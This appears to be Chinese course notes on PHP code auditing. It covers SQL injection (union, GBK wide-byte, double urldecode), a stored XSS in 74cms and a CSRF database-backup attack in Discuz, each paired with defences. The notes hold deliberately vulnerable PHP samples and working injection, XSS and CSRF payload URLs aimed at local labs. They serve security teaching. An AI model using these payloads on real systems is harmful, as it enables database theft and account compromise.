You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

16 KiB

1. SQL注入漏洞

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句在管理员不知情的情况下实现非法操作以此来实现欺骗数据库服务器执行非授权的任意查询从而进一步得到相应的数据信息。

1.1. SQL注入漏洞-普通注入

SQL注入经常出现在登录页面、获取HTTP头(user-agent/client-ip等)、订单处理等地方,因为这几个地方是业务相对复杂的登录页面的注入大多是发生在 HTTP头里面的client-ip和x-forward-for, 一般用来记录登录的IP地址。在订单系统里面由于订单涉及购物车等多个交互所以经常会发生二次注入。我们在通读代码挖掘漏洞的时候可以着重关注这几个地方。

<?php
	$uid = $_GET['id'];
	$sql = "SELECT * FROM userinfo where id=$uid";
	$conn = mysql_connect('localhost','root','root');
	mysql_select_db("test",$conn);
	$result = mysql_query($sql,$conn);
	print_r('当前SQL语句' . $sql . '<br />结果:');
	@$row = mysql_fetch_row($result);
	if($row){
        echo '正确';
    }else{
        echo mysql_error($conn);
    }
	@print_r($row);
	// var_dump(mysql_fetch_row($result));
	mysql_close();
?>

分析上述代码存在的问题?

注入代码:

http://localhost:8081/2020CodeAudit/C4/4-1-1-1-SQL.php?id=-1 union select 1,user(),3,4

1.2. 编码注入

程序在进行一些操作之前经常会进行一些编码处理,而做编码处理的函数也是存在问题的,通过输入转码函数不兼容的特殊字符,可以导致输出的字符变成有害数据, 在SQL注入里最常见的编码注入是MySQL宽字节以及urldecode/rawurldecode函数导致的。

1.2.1. 宽字节注入

单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)多字节字符集在多字节字符集中字节用多个字节来表示。UTF-8 编码: 是一种多字节编码它可以使用1~4个字节表示一个符号根据不同的符号而变化字节长度常见的宽字节 GB2312、GBK、GB18030、BIG5、Shift_JIS宽字节注入时利用mysql的一个特性使用GBK编码的时候会认为两个字符是一个汉字。

在使用PHP连接MySQL的时候当设置“set character_set_client=gbk”时会导致一个编码转换的注入问题也就是我们所熟悉的宽字节注入当存在宽字节注入漏洞时注入参数里带入%df%27('),即可把程序中过滤的\ (%5c)''吃''掉。

假设/1.php?id=1里面的id参数存在宽字节注入漏洞当提交

?id=-1' and 1=1%23

%23 是16进制表示特殊字符#

那么MySQL 运行的 SQL 语句为:

select * from user where id= ' -1\' and 1 = 1#'

addslashes函数:

返回需要在转义字符之前添加反斜线的字符串。这些字符是:

  • 单引号('
  • 双引号("
  • 反斜线(\
  • NULNUL 字节)

很明显这是没有注入成功的,我们提交的单引号被转义导致没有闭合前面的单引号。

但是我们提交:

?id=-1 %df' and 1=1%23

第一步:单引号转义:

-1 %df\' and 1=1%23(#)

第二步

-1 %df%5c' and 1=1#

最后组装成的SQL是合法的

select * from user where id='-1運' and 1=1#'

这是由于单引号被自动转义成',前面的%df和转义字符\反斜杠组合成 %df%5c,也就是“運”字,这时候单引号依然还在,于是成功闭合了前面的单引号。

问题:这里的%23有什么用

<?php
	$conn = mysql_connect('localhost','root','root');
	mysql_select_db("test",$conn);
	mysql_query("SET NAMES 'gbk'",$conn);
	$uid = addslashes($_GET['id']);
	$sql = "SELECT * FROM userinfo where id='$uid'";
	$result = mysql_query($sql,$conn);
	print_r('当前SQL语句' . $sql . '<br />结果:');
	print_r(mysql_fetch_row($result));
	mysql_close();
?>
http://localhost:8081/2020CodeAudit/C4/4-1-1-2-SQL-GBK.php?id=%df' union select 1,2,user(),4%23

运行结果:

当前SQL语句SELECT * FROM userinfo where id='運\\' union select 1,2,user(),4#'
结果Array ( [0] => 1 [1] => 2 [2] => root@localhost [3] => 4 )

注意,为什么是'運\\'有两个斜杠可能你的PHP环境中配置了 magic_quotes_gpc 会自动为GET或者是POST提交的数据前面增加反斜杠转义。

防范:

  1. 在执行查询之前先执行 SET NAMES gbk,character_set_client=binary
  2. 使用 mysql_set_charset('gbk')设置编码,然后使用 mysql_real_escape_string() 函数过滤参数。
  3. 使用PDO方式在PHP5.3.6及以下版本需要设置setAttribute(PDO::ATTR_EMULATE_PREPARES, false);来禁用 prepared statements 的仿真效果。
  4. 使用UTF8等编码。

1.2.2. 二次 urldecode 注入

只要字符被进行转换就有可能产生该漏洞现在的Web程序大多都会进行参数过滤GPC如果某处使用了urldecode或者rawurldecode函数则会导致二次解码生成单引号而引发注入。

原理提交参数到Webserver时Webserver会自动解码一次假设目标程序开启了GPC提交/l.php?id=l%2527,因为提交的参数里面没有单引号所以第一次解码后的结果是id=l%27, %25解码的结果是%如果程序里使用了urldecode或者rawurldecode函数来解码id参数则解码后的结果是 id=1'。单引号成功出现引发注入。

<?php
	$a = addslashes($_GET['p']);
	$b = urldecode($a);
	echo '$a='.$a;
	echo '<br />';
	echo '$b='.$b;
?>
http://localhost:8081/2020CodeAudit/C4/4-1-1-2-SQL-urlcode.php?p=1%2527
  • %25 对应字符 %

这个时候就出现了问题。PHP首先会对传递过后的URL进行自动解码解码后得到的请求字符串是

p=1%27

这时如果再使用 urldecode 相当于对url进行了二次解码%27再解码表示字符 ' 。因此该漏洞叫做二次 urldecode 注入,其实是解码了两次。

因此运行结果:

$a=1%27
$b=1'

注意:代码中的 addslashes 函数其实没有作用因为url中没有包含需要 addslashes 处理的字符。

1.2.3. espcms搜索注入分析

漏洞在 interface/search.php 文件和 interface/3gwap_search.php 文件 in_taglist()函数都存在。

in_taglist() 的部分代码:

		$page = $this->fun->accept('page', 'G');
		$page = isset($page) ? intval($page) : 1;
		$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
		$tagkey = urldecode($this->fun->accept('tagkey', 'R'));
		$tagkey = $this->fun->inputcodetrim($tagkey);

跟踪 fun->accept 函数发现使用了addslashes对数据进行处理然后有使用了urldecode对数据解码可能存在二次urldecode注入。

二次漏洞分析参考 注意,该分析的版本与我们用的源码不一致,不能浮现,原理可以看看。

http://localhost:8081/espcms/index.php?ac=search&at=taglist&tagkey=a%2527,tags) or 1=1-- ss

执行后,可以看到选择出来的数据库:

image-20251016155402556

1.3. 漏洞防范

  1. 在执行查询之前先执行 SET NAMES gbk,character_set_client=binary
  2. 使用 mysql_set_charset('gbk')设置编码,然后使用 mysql_real_escape_string() 函数过滤参数。
  3. 使用PDO方式在PHP5.3.6及以下版本需要设置setAttribute(PDO::ATTR_EMULATE_PREPARES, false);来禁用 prepared statements 的仿真效果。
  4. 使用UTF8等编码。

2. XSS漏洞

挖掘XSS漏洞的关键在于寻找没有被过滤的参数且这些参数传入到输出函数常用的输出函数列表如下print、print_r、echo、printf、sprintf、die、 var_dump、var_ export最重要的还要掌握各种浏览器容错、编码等特性和数据协议。反射型、存储型和DOM型。

骑士cms存储型XSS分析

/admin/admin_link.php 部分代码:

// 。。。
require_once(ADMIN_ROOT_PATH.'include/admin_link_fun.php');
// 。。。
$act = !empty($_GET['act']) ? trim($_GET['act']) : 'list';
$smarty->assign('pageheader',"友情链接");
if($act == 'list')
{
	// 。。。
	$link = get_links($offset, $perpage,$joinsql.$wheresql.$oederbysql);
	$smarty->assign('link',$link);
	$smarty->assign('page',$page->show(3));
	$smarty->assign('upfiles_dir',$upfiles_dir);
	$smarty->assign('get_link_category',get_link_category());
	$smarty->assign('navlabel',"list");
	$smarty->display('link/admin_link.htm');
}

判断访问admin_link.php这个文件的时候有没有act参数没有就给act变量赋值为list,进入到输出友情链接列表的代码。

get_links函数定义位于admin/include/admin_link_fun.php中。从数据库读取友情链接列表。返回后直接进行模板渲染。

第54行代码$smarty->display('link/admin_link.htm');将读取的内容以link/admin_link.htm为模板显示出来。跟进模板页admin/templates/default/link/admin_link.htm

get_links 函数:

function get_links($offset, $perpage, $get_sql= '')
{
	global $db;
	$row_arr = array();
	$limit=" LIMIT ".$offset.','.$perpage;
	$result = $db->query("SELECT l.*,c.categoryname FROM ".table('link')." AS l ".$get_sql.$limit);
	while($row = $db->fetch_array($result))
	{
	$row_arr[] = $row;
	}
	return $row_arr;	
}

显然这个函数直接从数据库中查询结果后返回,并没有进行任何的标签或者是特殊字符的转义处理。

跟踪 admin/templates/default/link/admin_link.htm 文件大约在63行

{#if $list.link_logo<>""#}
	  <span style="color:#FF6600" title="<img src={#$list.link_logo#} border=0/>" class="vtip">[logo]</span>
	  {#/if#}

这段代码是有问题的这里直接把显示logo的img标签放在span标签的title里面当鼠标滑过的时候会调用事件执行显示title即执行img标签这里的利用点是 {#$list.link_logo#}可以是HTML实体编码从而绕过骑士cms的安全检査。

通过连接提交代码:

http://localhost/74cms/link/add_link.php

image-20251016172456201

logo地址输入

1 oner&#114;or=ale&#114;t(1)

“&#114 ;“是字母r的HTML实体编码。

其实意思是:

1 onerror=alert(1)

onerror可以用于不同的对象比如window对象、img元素或者其他资源加载的元素。当这些对象发生错误时会触发onerror事件。例如当图片加载失败时img的onerror事件会被触发可以执行一些回调函数比如替换图片或者记录错误。

另外onerror还可以用于资源加载比如link、script、img等标签。例如当script标签加载失败时onerror事件会被触发可以用来动态加载备用脚本。

登录后台:

http://localhost/74cms/admin/admin_index.php

image-20251016172722809

鼠标移动到 logo 显示1的弹出窗口注入成功

按F12打开调试界面中的元素

image-20251016173000915

可以看到生产的html源代码

<span style="color:#FF6600" title="&lt;img src=1 onerror=alert(1) border=0/&gt;" class="vtip">[logo]</span>

2.1. XSS漏洞防范

  • 过滤掉相关的特殊字符
  • 标签事件属性黑白名单
  • 输出编码htmlspecialchars()函数
  • 防御DOM XSS
    • 避免客户端敏感操作
    • 分析和强化客户端的JavaScript代码
    • Anti-XSS
    • HttpOnly

3. CSRF漏洞跨站请求伪造

CSRF主要是用于越权操作所有漏洞自然在有权限控制的地方像管理后台、会员中心、论坛帖子以及交易管理等从白盒角度来说只要读代码的时候看看几个核心文件里面有没有验证token和referer相关的代码这里的核心文件指的是被大量文件引用的基础文件。

3.1. Discuz CSRF备份拖库分析

漏洞文件在 source/admincp/admincp_db.php第30行开始。

$backupdir = C::t('common_setting')->fetch('backupdir');   // line 28

if(!$backupdir) {
	$backupdir = random(6);
	@mkdir('./data/backup_'.$backupdir, 0777);
	C::t('common_setting')->update('backupdir',$backupdir);
}
$backupdir = 'backup_'.$backupdir;
if(!is_dir('./data/'.$backupdir)) {
	mkdir('./data/'.$backupdir, 0777);

文件夹名是六位随机数。

搜索整个文档,发现所有的参数都是通过 GET 获取而且并没在管理页面随机生成令牌。也就是说只要管理员登录后从任意页面访问这个页面的合法URL就可以备份文件。那就可以在论坛页面嵌入一个URL当管理员不注意点中后就可以备份数据库。而且数据库文件是在web目录中并没有经过保护通过爆破url就可以下载这个文件。

$backupfilename = './data/'.$backupdir.'/'.str_replace(array('/', '\\', '.', "'"), '', $_GET['filename']);

这里是真实的备份文件名直接通过GET参数获取不用爆破文件名了只需要爆破6位的目录名简单了很多。

在论坛发帖,写入漏洞地址:

http://localhost/discuz/admin.php?action=db&operation=export&setup=1&scrolltop=&anchor=&type=custom&customtables[]=pre_ucenter_admins&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=xinan&exportsubmit=%CC%E1%BD%BB22

注意URL地址中有个参数是你需要备份的数据表的名字请确认和你的安装数据表名是一致的。

思考:如何得到漏洞的访问地址?

3.2. CSRF漏洞防范

  1. 使用POST提交用户数据来代替GET
  2. 使用验证码:每次用户提交内容时,都要求其在表单中填写图片上的随机验证码,并且在提交表单后对其进行检测使用请
  3. 求令牌Token在HTTP请求中以参数的形式加入一个随机产生的请求令牌并在服务器端对其进行验证。如果请求中没有Token或者Token的内容不正确则认为可能是CSRF攻击而拒绝该请求。

3.3. 什么是Token令牌

Token翻译中文为“标志”在计算机认证领域叫令牌。利用验证Token的方式是目前使用的最多的一种也是效果最好的一种可以简单理解成在页面或者cookie里加一个不可预测的字符串服务器在接收操作请求的时候只要验证下这个字符串是不是上次访问留下的即可判断是不是可信请求因为如果没有访问上一个页面是无法得到这个Token的除非结合XSS漏洞或者有其他手段能获得通信数据。

3.3.1. 一个简单的例子

<?php
	session_start();
	function set_token(){
		$_SESSION['token'] = md5(time()+rand(1,1000));
	}
	function check_token(){
		if(isset($_POST['token']) && $_POST['token'] === $_SESSION['token']){
			return true;
		}
		else{
			return false;
		}
	}
	if(isset($_SESSION['token']) && check_token()){
		echo "success";
	}
	else{
		echo "failed";
	}
	set_token();
?>
<form method="post">
	<input type="hidden" name="token" value="<?=$_SESSION['token']?>">
	<input type="submit"/>
</form>
http://localhost/2020CodeAudit/C4/token/4-3-2-1-Token.php

问题什么是session工作原理是什么cookie 又是什么session 和 cookie 有什么联系?

todo: 可能需要补充 cookie 和 session 的知识!